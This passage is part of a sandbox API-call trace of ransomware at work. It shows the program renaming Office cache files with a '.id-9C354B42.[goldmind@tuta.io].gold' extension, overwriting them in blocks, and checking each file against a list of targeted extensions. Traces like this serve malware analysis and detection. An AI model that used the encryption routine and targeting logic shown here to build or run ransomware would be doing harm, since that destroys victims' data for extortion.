returned 0x178 [0035.841] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0035.841] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0035.841] ReadFile (in: hFile=0x178, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.929] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0035.929] ReadFile (in: hFile=0x178, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.938] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0035.938] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0035.938] ReadFile (in: hFile=0x178, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.959] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0035.959] WriteFile (in: hFile=0x178, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0036.114] SetEndOfFile (hFile=0x178) returned 1 [0036.114] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f840a0 [0036.163] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0036.163] WriteFile (in: hFile=0x178, lpBuffer=0x3f840a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f840a0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.164] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0036.164] WriteFile (in: hFile=0x178, lpBuffer=0x3f840a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f840a0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.165] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0036.165] WriteFile (in: hFile=0x178, lpBuffer=0x3f840a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f840a0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.166] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f840a0 | out: hHeap=0x880000) returned 1 [0036.166] CloseHandle (hObject=0x178) returned 1 [0038.086] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0038.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0038.086] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0038.086] lstrlenW (lpString=".doc") returned 4 [0038.087] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0038.087] lstrlenW (lpString=".docx") returned 5 [0038.087] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0038.087] lstrlenW (lpString=".pdf") returned 4 [0038.087] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0038.087] lstrlenW (lpString=".xls") returned 4 [0038.087] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0038.087] lstrlenW (lpString=".xlsx") returned 5 [0038.087] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0038.087] lstrlenW (lpString=".ppt") returned 4 [0038.087] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0038.087] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0038.087] lstrlenW (lpString=".zip") returned 4 [0038.087] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0038.087] lstrlenW (lpString=".rar") returned 4 [0038.087] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0038.087] lstrlenW (lpString=".bz2") returned 4 [0038.087] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0038.087] lstrlenW (lpString=".7z") returned 3 [0038.087] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0038.087] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0038.087] lstrlenW (lpString=".dbf") returned 4 [0038.087] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0038.087] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0038.087] lstrlenW (lpString=".1cd") returned 4 [0038.087] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0038.087] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0038.087] lstrlenW (lpString=".jpg") returned 4 [0038.087] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0038.087] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0038.087] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0038.087] lstrlenW (lpString=".doc") returned 4 [0038.087] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0038.087] lstrlenW (lpString=".docx") returned 5 [0038.087] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0038.087] lstrlenW (lpString=".pdf") returned 4 [0038.087] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0038.087] lstrlenW (lpString=".xls") returned 4 [0038.087] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0038.087] lstrlenW (lpString=".xlsx") returned 5 [0038.087] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0038.087] lstrlenW (lpString=".ppt") returned 4 [0038.087] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0038.087] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0038.087] lstrlenW (lpString=".zip") returned 4 [0038.087] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0038.087] lstrlenW (lpString=".rar") returned 4 [0038.087] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0038.087] lstrlenW (lpString=".bz2") returned 4 [0038.087] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0038.087] lstrlenW (lpString=".7z") returned 3 [0038.088] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0038.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0038.088] lstrlenW (lpString=".dbf") returned 4 [0038.088] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0038.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0038.088] lstrlenW (lpString=".1cd") returned 4 [0038.088] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0038.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0038.088] lstrlenW (lpString=".jpg") returned 4 [0038.088] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0038.088] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0038.088] lstrlenW (lpString="WordMUI.msi") returned 11 [0038.088] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0038.088] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=2522624) returned 1 [0038.088] CloseHandle (hObject=0x178) returned 1 [0038.088] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0038.088] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.088] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0038.089] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0038.089] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0038.089] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0038.089] ReadFile (in: hFile=0x178, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.214] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0038.214] ReadFile (in: hFile=0x178, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.232] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0038.232] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0038.232] ReadFile (in: hFile=0x178, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.248] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0038.248] WriteFile (in: hFile=0x178, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0038.573] SetEndOfFile (hFile=0x178) returned 1 [0038.573] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f8c0a8 [0038.573] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0038.573] WriteFile (in: hFile=0x178, lpBuffer=0x3f8c0a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8c0a8*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.575] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0038.575] WriteFile (in: hFile=0x178, lpBuffer=0x3f8c0a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8c0a8*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.579] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0038.579] WriteFile (in: hFile=0x178, lpBuffer=0x3f8c0a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8c0a8*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.581] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f8c0a8 | out: hHeap=0x880000) returned 1 [0038.581] CloseHandle (hObject=0x178) returned 1 [0038.811] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0038.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0038.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0038.812] lstrlenW (lpString=".doc") returned 4 [0038.812] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0038.851] lstrlenW (lpString=".docx") returned 5 [0038.851] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0038.851] lstrlenW (lpString=".pdf") returned 4 [0038.851] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0038.851] lstrlenW (lpString=".xls") returned 4 [0038.851] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0038.851] lstrlenW (lpString=".xlsx") returned 5 [0038.851] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0038.851] lstrlenW (lpString=".ppt") returned 4 [0038.851] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0038.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0038.851] lstrlenW (lpString=".zip") returned 4 [0038.851] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0038.851] lstrlenW (lpString=".rar") returned 4 [0038.851] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0038.851] lstrlenW (lpString=".bz2") returned 4 [0038.851] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0038.851] lstrlenW (lpString=".7z") returned 3 [0038.851] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0038.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0038.851] lstrlenW (lpString=".dbf") returned 4 [0038.851] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0038.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0038.851] lstrlenW (lpString=".1cd") returned 4 [0038.851] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0038.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0038.851] lstrlenW (lpString=".jpg") returned 4 [0038.851] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0038.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0038.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0038.851] lstrlenW (lpString=".doc") returned 4 [0038.851] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0038.852] lstrlenW (lpString=".docx") returned 5 [0038.852] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0038.852] lstrlenW (lpString=".pdf") returned 4 [0038.852] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0038.852] lstrlenW (lpString=".xls") returned 4 [0038.852] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0038.852] lstrlenW (lpString=".xlsx") returned 5 [0038.852] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0038.852] lstrlenW (lpString=".ppt") returned 4 [0038.852] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0038.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0038.852] lstrlenW (lpString=".zip") returned 4 [0038.852] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0038.852] lstrlenW (lpString=".rar") returned 4 [0038.852] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0038.852] lstrlenW (lpString=".bz2") returned 4 [0038.852] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0038.852] lstrlenW (lpString=".7z") returned 3 [0038.852] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0038.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0038.852] lstrlenW (lpString=".dbf") returned 4 [0038.852] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0038.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0038.852] lstrlenW (lpString=".1cd") returned 4 [0038.852] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0038.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0038.852] lstrlenW (lpString=".jpg") returned 4 [0038.852] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0038.852] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0038.852] lstrlenW (lpString="Proof.cab") returned 9 [0038.852] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0039.579] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=13642474) returned 1 [0039.579] CloseHandle (hObject=0x1b0) returned 1 [0039.581] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0039.581] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.581] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0039.808] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0039.808] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0039.808] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0039.808] ReadFile (in: hFile=0x1b0, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.812] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0039.812] ReadFile (in: hFile=0x1b0, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.816] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0039.817] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0039.817] ReadFile (in: hFile=0x1b0, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.835] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0039.835] WriteFile (in: hFile=0x1b0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0039.845] SetEndOfFile (hFile=0x1b0) returned 1 [0039.845] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f34090 [0039.847] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0039.847] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.848] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0039.848] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.848] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0039.848] WriteFile (in: hFile=0x1b0, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.137] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f34090 | out: hHeap=0x880000) returned 1 [0040.138] CloseHandle (hObject=0x1b0) returned 1 [0041.778] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0041.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0041.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0041.778] lstrlenW (lpString=".doc") returned 4 [0041.778] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.778] lstrlenW (lpString=".docx") returned 5 [0041.778] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0041.778] lstrlenW (lpString=".pdf") returned 4 [0041.778] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.778] lstrlenW (lpString=".xls") returned 4 [0041.778] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.778] lstrlenW (lpString=".xlsx") returned 5 [0041.778] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0041.778] lstrlenW (lpString=".ppt") returned 4 [0041.778] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 